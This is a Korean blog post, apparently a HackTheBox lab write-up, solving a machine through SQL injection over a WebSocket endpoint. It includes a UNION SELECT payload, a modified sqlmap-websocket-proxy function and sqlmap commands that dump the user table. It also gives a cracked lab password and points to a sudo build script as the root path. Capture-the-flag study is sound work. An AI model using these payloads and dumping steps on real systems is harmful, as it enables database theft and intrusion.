이번 머신은 WebSocket 쪽이 초기 공격 포인트였으나 진행되는 부분이 뭔가 매끄럽지 않아 찜찜한 문제였고 대부분의 접근이 퍼징이지만... 기록한다...

다른 머신들을 해결하는 과정과 동일하게 머신을 Spawn하고 발급된 머신의 IP를 대상으로 포트스캔을 먼저 진행했다.

naabu -host 10.10.11.206 -p - --nmap-cli "nmap -sV"

대상 시스템에는 22/tcp, 80/tcp, 5789/tcp가 오픈되어있는것으로 보이며 기존 머신들과는 다른 5789/tcp포트가 보인다!

일단 기본적으로 웹 서비스(80/tcp)를 먼저 확인하니 QR 코드를 생성 및 읽어주는 기능을 하는 페이지가 보인다.

하단에 Flask로 만들어졌다는 지문을 보고 이번엔 진짜로 SSTI일까 생각되어 "Embed your text" 부분에 SSTI 테스트를 삽입하고 qrcode를 생성해 다운로드하고 "Read your QR code" 부분에 파일을 업로드했지만 {{7*7}} 등 여러가지 페이로드를 시도해도 일반 텍스트로 인식되었다.

그외 XSS, Command Injection 등의 페이로드를 전달해도 별 반응이 없었고, 추가적으로 파일 업로드도 진행했지만 의미가 없었다 :(

마지막으로 메인 페이지에서 qreader 빌드파일을 다운로드 할 수 있으나 실제로 공격에 사용될만한 건을 확인하지 못했다. (하지만 실수였다)

vhost를 스캔해도 서브도메인으로 발견되는 대상은 없었고 디렉터리 스캔을했더니 /report 경로가 보여 접근하여 여러 시도를해도 별 반응 없었다.

원점으로 돌아가서 포트 스캔에서 확인된 5789/tcp에 브라우저로 접근해보니 해당 포트는 WebSocket 포트로 확인되었다.

이전에 Soccer(블로그에 포스팅하진 않음) 머신을 해결하는 과정에서 사용했던 sqlmap-websocket-proxy를 사용해서 sqlmap을 돌려보려했으나 전달되는 페이로드를 모르기에 정찰 먼저 진행하였다.

대상 웹소켓을 파악하기위해 wscat을 사용해보았으며, 설치는 다음과 같이 npm을 통해 가능하다.

npm install -g wscat

루트 패스에 임의의 json을 전송하니 /update, /version WebSocket경로를 파악할 수 있었다.

/update 경로로 퍼징을 진행해도 에러만 확인할 수 있었고 /version 경로를 퍼징하여 아래와 같은 json포멧을 통해 통신할 수 있는것을 파악하였다.

{"version": "data"}

여기서 좀 많은 시간이 걸렸다... 결과적으로 /version 경로에서 SQLi공격이 가능했고 아래와 같이 확인할 수 있었다.

{"version": "test\"  UNION SELECT 1,2,3,4--"}

해당 공격 벡터에 sqlmap을 돌리려 위에서 언급한 sqlmap-websocket-proxy를 사용하여 localhost:8080 -> qreader.htb:5789 와같은 프록시를 구성했다.

✅ JSON에 sql 쿼리를 전달하는 과정에서 싱글쿼터나 더블 쿼터를 이스케이프 처리해야한다. 그렇기에 sqlmap_websocket_proxy/main.py의 send_payload 함수 일부를 수정해야하며 수정한 코드는 다음과 같다.

    def send_payload(self, path: str) -> str:
        params = [x for _, x in parse_qsl(path)]
        payload = self.payload
        payload = unquote(payload).replace('"',"'") # 이스케이프 "->'
        payload = unquote(payload).replace("'", '\\\"') # 이스케이프 ' -> \"
        
        if self.is_json:
            params = [unquote(x).replace('"',"'") for x in params]
        
        for idx, x in enumerate(params):
            payload = payload.replace("%param%", x, 1)

        try:
            ws = websocket.create_connection(self.url)
        except Exception as e:
            error(f"Websocket Connection Failed: {e}")

        try:
            ws.send(payload)
            rich.print(f"[{datetime.now().strftime('%H:%M:%S')}] Proxied: {payload}")    
            data = ws.recv()
            return data if data else ""
        except Exception as e:
            rich.print("  [bright yellow]Request Failed[/bright yellow]")
        finally:
            ws.close()
sqlmap-websocket-proxy -u ws://qreader.htb:5789/version -p '{"version": "%param%"}' --json

sqlmap으로 dbms 정보부터 천천히 얻어가려했으나 아무것도 발견되지 않는다... 분명 UNION SELECT가 동작했고 SQLi가 가능했지만 sqlmap에선 어떤 정보도 받을 수 없어 HackTheBox의 포럼에서 검색을 해봤고, 결과적으로 sqlmap에서 --level--risk옵션을 높게 설정하여 진행해야만했다. (기본 1, 최대 각각 5,3)

sqlmap -u "localhost:8080/?param1=1" --batch --level 5 --risk 3 --dump

sqlmap으로 확인된 DBMS는 SQLite였으며, current DB의 users 테이블에서 admin 계정의 md5 해시화된 패스워드를 확인할 수 있었으며, CrackStation으로 복호화가 가능했다. (denjanjade122566)

그치만 여기서 로그인할 수 있는 경로는 ssh밖에 확인되지 않았으며, ssh를 통해 admin계정으로 로그인이 불가능했다.

결과적으로 퍼징을 통해 사용자 계정을 알아내는 것이며... sqlmap 결과에서 확인된 answers 테이블의 데이터에서 내부 직원으로 추정되는 Thomas Keller라는 이름을 추측해 tkeller라는 시스템 계정에 도달하는것이였다...🤮

결과적으로 포럼 서칭을 통해 알게됐지만... tkeller 계정의 쉘에 접근하였으며, sudo 권한을 확인하니 build-installer.sh이라는 쉘 스크립트를 실행할 수 있는 권한만 존재했다.

#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

2개의 Argument를 입력받아 각각 action/name 변수로 지정되며, action에 따라 실행되는 코드가 각각 다르다.

그중 build action에서 pyinstaller를 통해 두번째 인자로 전달된 파일을 빌드하는데 여기서 LPE가 가능하다.

이번 머신은 뭔가 매끄럽지 못해서 너무 아쉽고 퍼징관련된 접근이 대부분이라 시간이 오래걸리기도했다. 그리고 실제 리얼 월드에서는 사용하기 힘들것같은 sqlmap 옵션 설정으로 조금 아쉬운 머신이다.

마지막으로 머신을 해결하고 Write Up을 찾아보니 딱 1개 게시글이 보여서 확인해보았고, qreader.htb의 메인 페이지에서 Flask로 구동중이며 빌드 파일을 다운로드 할 수 있는 기능을 보고 해당 빌드 파일이 python으로 빌드됐을 것을 예상해 pyinstxtractor를 통해 코드를 추출하여 WebSocket의 /version 코드를 확인하는 방법도 있었다.

어쨋든 해결 완료.

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글